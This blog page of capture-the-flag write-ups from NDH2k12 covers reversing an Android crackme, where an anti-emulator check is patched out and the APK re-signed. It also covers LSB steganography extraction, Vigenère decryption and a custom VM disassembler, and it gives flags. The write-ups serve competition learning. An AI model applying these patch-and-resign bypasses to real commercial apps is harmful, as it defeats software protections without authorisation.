To search

w3pwnz

w3pwnz, therefore we are

Tag - writeup

Entries feed Comments feed

Monday, July 2 2012 20:31

NDH2k12-wargame Write-up CrackMe Android

File : NDH.apk

We were asked to reverse an Android application, coming as an APK file.

The first move was to get the Java source of that application with dex2jar in order to decompile the APK into a plain JAR file.

If you ever want more information about this step, check out that link http://tinyurl.com/blcp353.

Once we have the JAR file, we opened it with JD-GUI and located the main Activity, that is to say the entry point of an application.

Here's the code :

package com.app.ndh;
 
import android.app.Activity;
import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TableLayout;
import android.widget.TextView;
 
public class NDHActivity extends Activity
{
  static
  {
    System.loadLibrary("verifyPass");
  }
 
  private native String print(String paramString);
 
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    TextView localTextView = new TextView(this);
    localTextView.setText("Enter the code to activate this software :");
    AlertDialog.Builder localBuilder1 = new AlertDialog.Builder(this);
    AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(false);
    1 local1 = new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
      }
    };
    AlertDialog.Builder localBuilder3 = localBuilder1.setPositiveButton("OK", local1);
    EditText localEditText = new EditText(this);
    localEditText.setInputType(0);
    Button localButton = new Button(this);
    localButton.setText("Activation");
    TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
    2 local2 = new View.OnClickListener(localTelephonyManager, localBuilder1, localEditText)
    {
      public void onClick(View paramView)
      {
        if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
          AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");
        while (true)
        {
          this.val$builder.create().show();
          return;
          AlertDialog.Builder localBuilder2 = this.val$builder;
          NDHActivity localNDHActivity = NDHActivity.this;
          String str1 = this.val$tv2.getText().toString();
          String str2 = localNDHActivity.print(str1);
          AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);
        }
      }
    };
    localButton.setOnClickListener(local2);
    TableLayout localTableLayout = new TableLayout(this);
    localTableLayout.addView(localTextView);
    localTableLayout.addView(localEditText);
    localTableLayout.addView(localButton);
    setContentView(localTableLayout);
  }
}

Before going any further with that code, we wanted it to be running on a Android emulator and we had to patch few things.

This time, we completely disassembled the APK with apktool. This tool is BakSmaling (disassembling) the compiled code whose assembly representation is called Smali and unpacking all the files contained in an APK (certificates, libs etc.).
It also disassembles the graphical resources files and the AndroidManifest.xml file, which lists all the required settings for an application to run (platform version, permissions etc.).

android@honeynet:~/tools/apktool$ apktool d ~/ndh/NDH.apk ~/ndh/NDH_Decomp
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Loading resource table from file: /home/android/apktool/framework/1.apk
I: Loaded.
I: Decoding file-resources...
I: Decoding values*/* XMLs...
I: Done.
I: Copying assets and libs...

Here's the AndroidManifest.xml :

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.app.ndh"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="15" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <application android:label="@string/app_name" android:icon="@drawable/ndh">
        <activity android:label="@string/app_name" android:name=".NDHActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

That manifest requires Android 4.0.3 (API 15) as minimum SDK version. Having a 2.3.3 (API 10) emulator, we just removed that line in the Manifest.

Now, let's go back into the code.

Just by reading the source, we're aware that this application graphically consists of a EditText (a textbox) and a Button. So basically, we have to enter an activation code and hit the button for it to be checked.

Once hit, the first check is :

if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
	AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");

To be read as : if the IMEI of the terminal equals 0, then always display "Bad Password", whatever activation code you typed (even the good one :)).

As the emulated terminals have no real IMEI, this value is set to 0. This first check is actually an anti-emulator feature :)

In order to remove that check, we had to directly patch the Smali code. Here's the original Smali section, in the NDH_Decomp/smali/com/app/ndh/NDHActivity$2.smali file :

iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$test:Landroid/telephony/TelephonyManager;
 
; Grab the terminal's IMEI
invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; 
move-result-object v1
 
; Decode it as an integer value
invoke-static {v1}, Ljava/lang/Integer;->decode(Ljava/lang/String;)Ljava/lang/Integer; 
move-result-object v1
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
 
; if (v1 == IMEI) != 0 then jump to the cond_0 label (the legit "while(true){}" section), else print "Bad Password"
if-nez v1, :cond_0  
 
iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$builder:Landroid/app/AlertDialog$Builder;
const-string v2, "Bad Password"

We simply transformed the conditional jump "if-nez v1, :cond_0" to a unconditional jump, that's to say : "goto :cond_0"

Having both the Smali code and the Manifest patched, we rebuilt the application with apktool :

android@honeynet:~/tools/apktool$ apktool b ~/ndh/NDH_Decomp ~/ndh/New_NDH.apk
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...

Still, we needed to sign the application, as the emulator won't install an unsigned APK. Here comes the signing command, with a self-signed certificate :

android@honeynet:~/tools/apktool$ jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /home/android/my-release-key.keystore -storepass my_pass ~/ndh/New_NDH.apk maz
  adding: META-INF/MANIFEST.MF
  adding: META-INF/MAZ.SF
  adding: META-INF/MAZ.RSA
  signing: lib/armeabi/libverifyPass.so
  signing: res/drawable-hdpi/ic_launcher.png
  signing: res/drawable-hdpi/ndh.png
  signing: res/drawable-ldpi/ic_launcher.png
  signing: res/drawable-ldpi/ndh.png
  signing: res/drawable-mdpi/ic_launcher.png
  signing: res/drawable-mdpi/ndh.png
  signing: res/drawable-xhdpi/ic_launcher.png
  signing: res/drawable-xhdpi/ndh.png
  signing: res/layout/main.xml
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: resources.arsc

The patched APK can be found here. So now we can install and execute that application on an emulator.

app_home.png

Let's reverse that crackme ! Going back into the code, we have those 3 code sections:

static
{
	System.loadLibrary("verifyPass");
}
private native String print(String paramString);
NDHActivity localNDHActivity = NDHActivity.this;
String str1 = this.val$tv2.getText().toString();
String str2 = localNDHActivity.print(str1);
AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);

While the first instruction loads a native library, a .so file written in C and compiled with the NDK (Native Development Kit), the second stands for the declaration of the native method, here called "print".

The last part indicates that the text from the EditText element is passed to the native "print" method and its result is then displayed in a popup.

All in all, the validation routine is contained in that lib.

Thus, the next step was to reverse the "libverifyPass.so" file.
As said, apktool unpacked every file in the APK.

android@honeynet:~/ndh/NDH_Decomp$ file lib/armeabi/libverifyPass.so
lib/armeabi/libverifyPass.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped

Let's start by opening libverifyPass in IDA.
In the "Strings" window, we only have two strings : "Bad password" & "Good password, this is the flag too".
Those two strings are only referenced in one function : "Java_com_app_ndh_NDHActivity_print", which is the function called from the Java source.
Here is a global view of this function :

crackme_android_ida.png

We can split it in a few basic blocks :

  • purple : initialization
  • yellow : main loop
  • blue : final tests
  • red : fail (references "bad password")
  • green : success (references "Good password")

Before going any further, let's see a few specific details of the JNI (Java Native Interface) :

.text:00000F68                 STR     R0, [SP,#0x140+ptr_vtable_like]
.text:00000F6A                 STR     R1, [SP,#0x140+not_used]
.text:00000F6C                 STR     R2, [SP,#0x140+user_string]

We can see in the above snippet of the initialization block, that the function takes 3 parameters (in R0-R2) that are immediatly saved in local variables on the stack. But the Java source only use one argument, so the first two must be implicit arguments from the JNI.

The second is unused, but the first is used like a pointer on a vtable in C++, containing some function pointers used to do virtual calls, as in the following snippet :

.text:00000F78                 LDR     R2, [R3]								; Address of the "vtable-like" in R2
.text:00000F7A                 MOVS    R3, 0x2A4							; Offset = 0x2A4
.text:00000F7E                 LDR     R3, [R2,R3]							; Address of the "virtual function"
.text:00000F80                 LDR     R1, [SP,#0x140+ptr_vtable_like]
.text:00000F82                 LDR     R2, [SP,#0x140+user_string]
.text:00000F84                 MOVS    R0, R1								; Arg 1 -> our pointer
.text:00000F86                 MOVS    R1, R2 								; Arg 2 -> our string
.text:00000F88                 MOVS    R2, #0 							; Arg 3 
.text:00000F8A                 BLX     R3									; "virtual call"

As explained in the wiki page, this is how the JNI works. All functions take a JNIEnv pointer as first parameter, which is a structure containing pointers to all the required method to interface with the JVM :

/* Example of a JNI function, taking a JNIEnv pointer as first parameter */
JNIEXPORT void JNICALL Java_ClassName_MethodName(JNIEnv *env, jobject obj, jstring javaString)
{
	/* Example of a function call, using a function pointer in JNIEnv */
	const char *nativeString = (*env)->GetStringUTFChars(env, javaString, 0);
	[...]
}

Our program use this type of call 3 times, with the indexes 0x2A4, 0x290 and 0x29C. To retreive the names of the corresponding fonctions, we can use directly the header file jni.h or this documentation which contains the indexes in the JNIEnv interface function table :

0x24A / 4 = 169 --> const jbyte* GetStringUTFChars(JNIEnv *env, jstring string, jboolean *isCopy);
0x290 / 4 = 164 --> jsize GetStringLength(JNIEnv *env, jstring string);
0x29C / 4 = 167 --> jstring NewStringUTF(JNIEnv *env, const char *bytes);

We can now analyse our routine with a full knowledge of which function it's using :)
Starting with the end (the blue "final tests" block), we can see that the block doesn't really test anything on the supplied string, except that the result of a previous call to "GetStringLength" must equals 0xC.
Besides, there's just some really basic anti debug trick here : a call to difftime() is made, with the return values of two calls to time() before and after the main loop, and the result is tested against a hardcoded double value, that it must not exeed (R2=0x00000000 R3=0x3FF00000, so our maximum value is 1.0, but we really don' care since we are doing this in static analysis :p)

So let's skip to the interesting part. In the initialization block, two counters are set to 0, and a call to GetStringLength is made (but not directly tested).

.text:00000FFE                 MOVS    R3, #0
.text:00001000                 STR     R3, [SP,#0x140+counter1]
.text:00001002                 MOVS    R3, #0
.text:00001004                 STR     R3, [SP,#0x140+counter2]

More important, some structures in the .rodata section are loaded into the stack, as we can see in the following snippet :

.text:00000F9A                 ADD     R3, SP, #0x140+loaded_27E0		; R3 = stack buffer
.text:00000F9C                 LDR     R2, =(dword_27E0 - 0xFA2)			; R2 = rodata buffer
.text:00000F9E                 ADD     R2, PC
.text:00000FA0                 LDMIA   R2!, {R0,R1,R5}					; Load from R2 into multiple registers (R0, R1 and R5), and increment R2
.text:00000FA2                 STMIA   R3!, {R0,R1,R5}					; Store to R3 from multiple registers, and increment R3
.text:00000FA4                 LDMIA   R2!, {R0,R1,R5}
.text:00000FA6                 STMIA   R3!, {R0,R1,R5}
.text:00000FA8                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAA                 STMIA   R3!, {R0,R1,R5}
.text:00000FAC                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAE                 STMIA   R3!, {R0,R1,R5}

Using R0, R1, and R5, and repeating LDMIA/STMIA 4 times, we can see that this code loads 12 dwords. And there are 5 blocks like this one. The last action of the initialization block is to load the first char of our string somewhere in the stack (SP+0x20+0xFF) :

.text:00000FF2                 MOV     R3, SP 						; stack
.text:00000FF4                 ADDS    R3, #0x20 					
.text:00000FF6                 ADDS    R3, #0xFF 					
.text:00000FF8                 LDR     R2, [SP,#0x140+c_string]		; our string, result of GetStringUTFChars
.text:00000FFA                 LDRB    R2, [R2] 					; first char
.text:00000FFC                 STRB    R2, [R3] 					; store it !

Now let's finish this crackme with the main loop :

It first exits the loop to the final block if the current character (stored in SP+0x20+0xFF) is zero, this is our stop condition. After entering the loop, it also exits and prints "bad password" if the counter1 is greater than 0xC. Otherwise, (this part is the interesting one) it computes a xor between two values in the previously loaded on the stack data, and compares the result with the current password :

.text:00001040                 LDR     R2, [SP,#0x140+counter1]			
.text:00001042                 ADD     R3, SP, #0x140+loaded_2810		
.text:00001044                 LSLS    R2, R2, #2 						; R2 = counter1 * 4
.text:00001046                 LDR     R2, [R2,R3] 						; R2 = loaded_2810[ counter1 * 4 ]
.text:00001048                 LDR     R1, [SP,#0x140+counter1] 		
.text:0000104A                 ADD     R3, SP, #0x140+loaded_2840		
.text:0000104C                 LSLS    R1, R1, #2 						; R1 = counter1 * 4
.text:0000104E                 LDR     R3, [R1,R3] 						; R3 = loaded_2840[ counter1 * 4 ]
.text:00001050                 EORS    R2, R3 							; R2 = loaded_2810[ counter1 * 4 ] ^ loaded_2840[ counter1 * 4 ]
.text:00001052                 LDR     R3, [SP,#0x140+counter1] 		
.text:00001054                 LDR     R1, [SP,#0x140+c_string]
.text:00001056                 ADDS    R3, R1, R3
.text:00001058                 LDRB    R3, [R3] 						; R3 = c_string[ counter1 ]
.text:0000105A                 CMP     R2, R3 							; compare R2 / R3

So this is it :)
The last block of the function doesn't do anything really important (increment the counters, update the current char tested at the beginning of the loop, do some xor on some previously loaded on the stack but unused data, ...)

We now have to dump the 2*12 dwords in the .rodata section, at 0x2810 and 0x2840, and xor them to obtain the password :

>>> a = [0x52,0x1A,0x09,0x7B,0x4B,0x5C,0x20,0x72,0x10,0x67,0x5E,0x49]
>>> b = [0x01,0x4E,0x4C,0x3A,0x00,0x08,0x14,0x20,0x44,0x53,0x0C,0x0C]
>>> "".join( [ chr(a[i] ^ b[i]) for i in range(len(a)) ] )
'STEAKT4RT4RE'

Pwned !

app_validation.png

Friday, May 4 2012 21:06

Plaid CTF 2012

PlaidCTF

Le weekend dernier nous avons participé aux côtés de la team Shell-Storm au Plaid CTF 2012 sous le nom w3stormz (w3pwnz+Shell-Storm). C'était notre première collaboration avec une autre team et on peut dire que cela s'est très bien déroulé. Super ambiance pendant le CTF et on a fini 4ème.

Ranking_pCTF2012

Nous n'avons malheureusement pas eu trop le temps de faire des writes-up, voici ce que nous avons eu le temps de rédiger :


Vous trouverez une collection presque complète sur les sites suivants :


Bonne lecture...

Sunday, March 25 2012 14:47

NDH2k12 Prequals - We are looking for a real hacker - Wallpaper image

WallpaperImage.png
The bmp file has no padding bytes, and its size matches the image dimensions (4374054 = 810*1800*3 +0x36 for the header).
On the other hand, applying an LSB filter reveals that something is wrong on the left side of the image (the 630 first columns from the left look filled with random bits).
lsbsp113.png
The three colors are affected in the same way, and the second LSB is normal. So, we certainly have an LSB encoding with one bit per byte.

The fact that the bits form a rectangle suggests the encoding was done following the image order rather than the file order. The two most logical choices (for occidentals) are left-to-right and up-to-down. I was going for the former; the grace of the random Bug made me do the latter first.

Here is how the data begin:

00 02 eb 9b 78 9c d4 b9 65 54 ...


The index of coincidence reveals a flat distribution. The data could be either encrypted or compressed. But then, the two first bytes are suspiciously low.
0x2eb9b (191387) is also very close to the rectangle size: 630*810*3 / 8 = 191362. And as it happens, 78 9C is a typical beginning for strings compressed with zlib (deflate algorithm).

Quote from http://garethrees.org/2007/11/14/pngcrush/ :

The header byte 78 meaning “deflate compression with a 32 KiB window”.
The informational byte 9c meaning “the default compression algorithm was used” (plus a checksum).”


So all that has to be done is to extract the least significant bits in column-major (up-to-down), skip the first four bytes indicating the size of the file, and decompress the rest with zlib.

The output file is a pdf describing a few products from SCIOS. This file is the flag.

#!/usr/bin/python
import sys, zlib,Image, struct
 
bmp = Image.open("sp113.bmp")
pix = bmp.load()
lsb = []
for x in range(640):
    for y in range(810):
        lsb.extend( str(i&1) for i in pix[(x,y)] )
lsb = "".join(lsb)
lsb = "".join(chr(int(lsb[i:i+8],2)) for i in range(0,len(lsb),8))
length = struct.unpack(">I",lsb[:4])[0]
pdf = zlib.decompress(lsb[4:4+length])
outfile = open("sp113.pdf","wb") #"b" is for windows users
outfile.write(pdf)
outfile.close()



chuck_bmp.jpg

NDH2k12 Prequals - We are looking for a real hacker - Unknown text

UnknownText.png
File sp111

After opening the sp111 text file, we guessed that it was encrypted with vigenere.

We tried an auto-decrypt with http://www.apprendre-en-ligne.net/crypto/vigenere/decryptauto.html, revealing that “OFJZUANDEOQDK” would be the most probable key.

We reconstructed the following plain text :

; HI,
 
; I WAS DISCRETELY WANDERING AROUND AS USUAL YESTERDAY. A COUPLE OF
; SYSTEM DEVELOPPERS WERE SHOUTING ABOUT CORPORATE DEVICES QUALITY
; DECREASING EVERY YEAR WHEN THEY FINALLY AGREED ABOUT USING LOCAL
; NETWORK TO TRANSFER SOME PICTURES. FROM THE DEAD USB KEY I MANAGED
; TO RECOVER FROM THE TRASHCAN AND TO CLEAN, I FINALLY EXTRACTED A
; COUPLE OF MEGABYTES OF UNALTERED DATA. WORTHLESS CORPORATE
; MAILS, PERSONAL PICTURES I DECIDED TO KEEP FOR MY PRIVATE USE AND FEW
; INTERESTING FILES, ESPECIALLY SOME ASM SOURCE CODE THAT YOU MIGHT
; FIND VALUABLE. I ATTACHED ONE OF THEM, PLEASE CONTACT ME IF YOU WOULD
; LIKE ANY FURTHER INVESTIGATION ABOUT THOSE PIECES OF CODE.
 
; TEST PROGRAM #1 - BUILD #35 FOR SCIPAD
; HTTP://SCITEEK.NUITDUHACK.COM
 
; SOME INCLUDES #INCLUDE INC/STDLIB.INC
 
; THIS ROUTINE ASKS FOR A PASSWORD AND PUT THE ADDRESS IN R5 AND THE SIZE IN R0
 
.LABEL ASK_PASSWORD
   ; DISPLAY A PROMPT
   MOVL R0, :PWD_MSG
   CALL :PRINT
 
   ; ALLOCATE SOME SPACE ON STACK
   SUBB SP, #8
   MOV R5, SP
   MOVL R0, STDIN
   MOV R1,  R5
   MOVB R2, #10
 
   ; READ THE PASSWORD FROM STDIN
   CALL :READ
 
   ; RESTORE THE STACK POINTER
   ADDB SP, #8
 
   ; RETURN
   RET
 
; OUR MAIN
;
; BASICALLY, THIS PROGRAM DOES NOTHING USEFUL ... IT IS JUST A SAMPLE ;)
 
.LABEL MAIN
   ; DISPLAY A WELCOME MESSAGE
   MOVL R0, :WELCOME
   CALL :PRINT
 
   ; ASK FOR A PASSWORD
   CALL :ASK_PASSWORD
 
   ; DISPLAYS AN ERROR
   MOVL R0, :ERROR
   CALL :PRINT
 
   ; QUIT
   END    
 
; TEMP ROUTINE (NOT USED ANYMORE)
 
.LABEL TEMP_ROUTINE
   MOVL R0, :FLAG_FILE
   CALL :DISP_FILE_CONTENT
   END
 
.LABEL WELCOME
.DB "WELCOME ON SCITEEK' SCIPAD SECURE SHELL !",0X0A,0
 
.LABEL PWD_MSG
.DB "PLEASE ENTER YOUR PASSPHRASE: ",0
 
.LABEL ERROR
.DB "NOPE. IT IS NOT THE GOOD PASSWORD",0X0A,0
 
.LABEL HINT
.DB "SCITEEK.NUITDUHACK.COM:4000",0
 
.LABEL FLAG_FILE
.DB "ESOASOEL.TXT",0

NDH2k12 Prequals - What is it about this file? - Binary file ndh

BinaryFileNdh.png

File: 11925.ndh

Once again it is a VM file. We quickly take a look at the hexdump to find the remote port used (4004).

% tail 11925.ndh|hexdump -C
00000000  00 16 b7 0e 00 02 02 04  00 00 02 03 04 03 03 03  |................|
00000010  02 03 01 1a 01 03 00 01  03 01 04 00 01 00 19 04  |................|
00000020  7c fe 04 00 03 00 04 00  02 01 04 01 01 01 04 01  ||...............|
00000030  00 04 30 03 01 03 00 1a  01 03 00 01 03 03 0e 00  |..0.............|
00000040  03 03 18 00 03 02 10 0d  00 1e 0a 00 04 06 00 01  |................|
00000050  0a 03 0a 00 16 ec 03 03  03 00 1a 04 00 01 00 04  |................|
00000060  01 00 05 30 1a 04 00 02  01 04 00 01 00 04 01 00  |...0............|
00000070  02 30 1a 04 00 03 02 04  00 02 01 04 00 01 00 04  |.0..............|
00000080  01 00 03 30 1a 01 03 03  04 00 03 02 04 00 02 01  |...0............|
00000090  04 00 01 00 04 01 00 11  30 03 03 1a 01 03 01 01  |........0.......|
000000a0  03 02 01 03 03 01 03 04  01 03 05 04 02 01 00 00  |................|
000000b0  19 04 b1 ff 18 02 00 ff  ff 11 0f 00 0e 00 00 00  |................|
000000c0  03 05 03 04 03 03 03 02  03 01 1a 04 00 03 00 04  |................|
000000d0  02 01 00 00 04 02 02 02  00 19 04 a8 ff 04 00 04  |................|
000000e0  00 0a 04 04 00 00 03 04  02 01 00 00 04 02 02 00  |................|
000000f0  00 19 04 90 ff 07 00 08  04 04 00 05 08 04 00 00  |................|
00000100  03 04 00 01 08 04 00 02  04 19 04 66 ff 06 00 04  |...........f....|
00000110  05 0b 04 04 07 04 00 04  00 00 05 19 04 f5 fe 04  |................|
00000120  01 00 01 0a 04 07 00 04  05 06 00 08 04 03 05 03  |................|
00000130  04 03 03 03 02 03 01 1a  04 02 00 10 83 19 04 d3  |................|
00000140  fe 07 01 08 32 04 00 05  08 04 02 00 00 00 04 00  |....2...........|
00000150  01 05 04 01 02 36 19 04  19 ff 04 02 00 11 11 04  |.....6..........|
00000160  00 01 05 04 02 02 32 00  19 04 5b fd 06 01 08 32  |......2...[....2|
00000170  1a 04 02 00 11 11 04 02  01 5e 83 04 02 02 00 01  |.........^......|
00000180  19 04 d7 fd 11 0d 00 0a  07 04 02 00 51 83 19 04  |............Q...|
00000190  0a ff 16 09 04 02 00 42  83 19 04 77 fe 1a 0e 00  |.......B...w....|
000001a0  07 07 19 04 92 ff 19 04  c7 ff 1c 50 61 73 73 77  |...........Passw|
000001b0  6f 72 64 20 28 72 65 71  75 69 72 65 64 29 3a 20  |ord (required): |
000001c0  00 73 63 69 74 65 65 6b  2e 6e 75 69 74 64 75 68  |.sciteek.nuitduh|
000001d0  61 63 6b 2e 63 6f 6d 3a  34 30 30 34 00 42 61 64  |ack.com:4004.Bad|
000001e0  20 70 61 73 73 77 6f 72  64 2e 0a 00 62 6b 46 53  | password...bkFS|
000001f0  6d 4a 6c 58 2e 74 78 74  00 5a 6f 6d 66 67 53 63  |mJlX.txt.ZomfgSc|
00000200  69 50 61 64 57 69 6c 6c  52 30 78 78 44 34 46 75  |iPadWillR0xxD4Fu|
00000210  63 6b 31 6e 77 30 52 4c  64 21 21 21 0a 00        |ck1nw0RLd!!!..|
0000021e

There are some weird strings at the end, we look closer...

% strings 11925.ndh             
.NDH
Password (required): 
sciteek.nuitduhack.com:4004
Bad password.
bkFSmJlX.txt
ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!

It looks like a flag! There is no way that can be true!

% nc sciteek.nuitduhack.com 4004
Password (required): ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!
You are now authenticated

Yeah well, it was actually that simple, we got the flag, and a nice facepalm because we also reversed it, which was useless here...

Flag: ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!

Btw, meanwhile, we developped a small disassembler in python. We cracked the rar file and accessed the VM source when we just finished. FU.
We used the instruction set unlocked with the .wav challenge ;)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
import sys
from struct import pack, unpack
 
START  = 0x6
STOP   = 0xFFFF
BASE_ADDR = 0x8000
 
OPCODES = { 0x06 : 'ADD',   0x0d : 'AND',   0x19 : 'CALL',      0x18 : 'CMP',   0x0b : 'DEC',
            0x09 : 'DIV',   0x0a : 'INC',   0x1b : 'JMPL',      0x16 : 'JMPS',  0x11 : 'JNZ',
            0x10 : 'JZ',    0x1e : 'JA',    0x1f : 'JB',        0x04 : 'MOV',   0x08 : 'MUL',
            0x02 : 'NOP',   0x0f : 'NOT',   0x0c : 'OR',        0x03 : 'POP',   0x01 : 'PUSH',
            0x1a : 'RET',   0x07 : 'SUB',   0x30 : 'SYSCALL',   0x17 : 'TEST',  0x1d : 'XCHG',
            0x0e : 'XOR'
          }
 
NOFLAG  = ( 'DEC', 'INC', 'JMPL', 'JMPS', 'JNZ', 'JZ', 'JA', 'JB', 'NOP', 'NOT', 'POP', 'RET', 'SYSCALL', 'TEST', 'XCHG' )
 
SPECIAL = ( 'CALL', 'PUSH' )
 
FLAGS   = { 0x00 : 'REG_REG',               0x01 : 'REG_DIRECT8', 
            0x02 : 'REG_DIRECT16',          0x03 : 'REG',
            0x04 : 'DIRECT16',              0x05 : 'DIRECT8',
            0x06 : 'REGINDIRECT_REG',       0x07 : 'REGINDIRECT_DIRECT8',
            0x08 : 'REGINDIRECT_DIRECT16',  0x09 : 'REGINDIRECT_REGINDIRECT',
            0x0a : 'REG_REGINDIRECT'
          }
 
"""
REG_REG                                 => op entre 2 registres
REG_DIRECT8                             => op entre 1 reg et 1 octet
REG_DIRECT16                    => op entre 1 reg et 2 octets
REG                                             => op sur un reg
DIRECT16                                => 2 octets
DIRECT8                                 => 1 octet
REGINDIRECT_REG                 => op entre [reg] et reg
REGINDIRECT_DIRECT8             => op entre [reg] et 1 octet
REGINDIRECT_DIRECT16    => op entre [reg] et 2 octets
REGINDIRECT_REGINDIRECT => op entre [reg] et [reg]
REG_REGINDIRECT                 => op entre reg et [reg]
"""
 
# opcode = 1 byte
# flag = 1 byte
# reg = 1 byte
# DIR8 / DIR16 = 1/2 bytes
 
def get_reg( num ) :
    if num >= 0 and num <= 9 :
        if num == 9 :
            return 'BP'
        elif num == 8 :
            return 'SP'
        else:
            return 'R' + str(num)
    else :
        return '#FAIL' + str(num) # <- c'est moche
 
def reg_reg(reg1, reg2):
    print("%s, %s" % (get_reg(reg1), get_reg(reg2)))
 
def reg_direct8(reg, direct):
    print("%s, BYTE %xh" % (get_reg(reg), direct))
 
def reg_direct16(reg, direct):
    print("%s, SHORT %xh" % (get_reg(reg), direct))
 
def direct16(direct):
    print("SHORT %xh" % direct)
 
def direct8(direct):
    print("BYTE %xh" % direct)
 
def reg(reg):
    print(get_reg(reg))
 
def regindirect_reg(reg1, reg2):
    print("[%s], %s" % (get_reg(reg1), get_reg(reg2)))
 
def regindirect_direct8(reg, direct):
    print("[%s], BYTE %xh" % (get_reg(reg), direct))
 
def regindirect_direct16(reg, direct):
    print("[%s], SHORT %xh" % (get_reg(reg), direct))
 
def regindirect_regindirect(reg1, reg2):
    print("[%s], [%s]" % (get_reg(reg1), get_reg(reg2)))
 
def reg_regindirect(reg1, reg2):
    print("%s, [%s]" % (get_reg(reg1), get_reg(reg2)))
 
def extract(code):
    flag = ord(code[0])
    size = 3 # flag = 1 byte, lval = 1byte, rval = 1+ byte
 
    lval = ord(code[1])
    rval = ord(code[2])
 
    if "DIRECT16" in FLAGS[flag]: # rval = 2 bytes
        size += 1
        rval = int(unpack("<H", code[2:4])[0])
 
    globals()[FLAGS[flag].lower()](lval, rval)
 
    return size
 
# NOFLAGS
 
def disass_DEC(code):
    print get_reg( ord(code[0]) )
    return 1
 
def disass_INC(code):
    print get_reg( ord(code[0]) )
    return 1
 
def disass_JMPL(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
 
def disass_JMPS(code):
    print hex(ord(code[0]))
    return 1
 
def disass_JNZ(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
 
def disass_JZ(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
 
def disass_JA(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
 
def disass_JB(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
 
def disass_NOP(code):
    print
    return 0
 
def disass_NOT(code):
    print get_reg( ord(code[0]) )
    return 1
 
def disass_POP(code):
    print get_reg( ord(code[0]) )
    return 1
 
def disass_RET(code):
    print
    return 0
 
def disass_SYSCALL(code):
    print "R0 (R1..R4)"
    return 0
 
def disass_TEST(code):
    print get_reg(ord(code[0])) + ', ' + get_reg(ord(code[1]))
    return 2
 
def disass_XCHG(code):
    print get_reg(ord(code[0])) + ', ' + get_reg(ord(code[1]))
    return 2
 
# SPECIALS
 
def disass_CALL(code):
    flag = ord(code[0])
    if FLAGS[flag] is 'REG' :
        print get_reg(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT16' :
        #print hex( unpack('<H', code[1:3])[0] )
        offset = unpack('<h',code[1:3])[0]
        print hex( cursor + 3 + 6 + offset ) #3 pour l'instruction, 6 pour le header
        return 3
    else:
        print "<Warning : invalid flag %x>" % flag
 
def disass_PUSH(code):
    flag = ord(code[0])
    if FLAGS[flag] is 'REG' :
        print get_reg(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT8' :
        print hex(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT16' :
        print hex( unpack('<H', code[1:3])[0] )
        return 3
    else:
        print "<Warning : invalid flag %x>" % flag
 
def die( txt ) :
        print txt
        sys.exit()
 
def get_opcodes_str(code):
    return " ".join("%02x" % ord(code[i]) for i in range(5))
 
def main( argc, argv ) :
 
    f = open( argv[1], 'rb' )
    data = f.read()
    f.close()
 
 
    if "-raw" in argv:
        code = data
    else:
    	if data[:4] != '.NDH' :
        	die( 'Bad ndh header' )
        code = data[START:STOP]
 
    #if data[:4] != '.NDH' :
    #    die( 'Bad ndh header' )
 
    #code = data[START:STOP]
    global cursor
    cursor = 0
 
    while cursor < len(code) :
        opcode = ord(code[cursor])
        cursor += 1
 
        if opcode not in OPCODES :
            print "Warning : skipping unknown opcode %02x" % opcode
            continue
 
        offset = "0x%04x | " % (START + cursor - 1)
        addr = '[' + hex(BASE_ADDR + cursor - 1) + '] '
        opcodes_dump = get_opcodes_str(code[cursor - 1:]) + "\t\t"
 
        sys.stdout.write(offset + addr + opcodes_dump + ' ' + OPCODES[opcode] + ' ')
 
        if OPCODES[opcode] in NOFLAG or OPCODES[opcode] in SPECIAL :
            cursor += globals()[ 'disass_' + OPCODES[opcode] ]( code[cursor:] )
        else :
            cursor += extract( code[cursor:] )
 
if __name__ == '__main__' :
        sys.exit( main( len( sys.argv ), sys.argv ) )

NDH2k12 Prequals - New email from our contact - Sciteek shortener

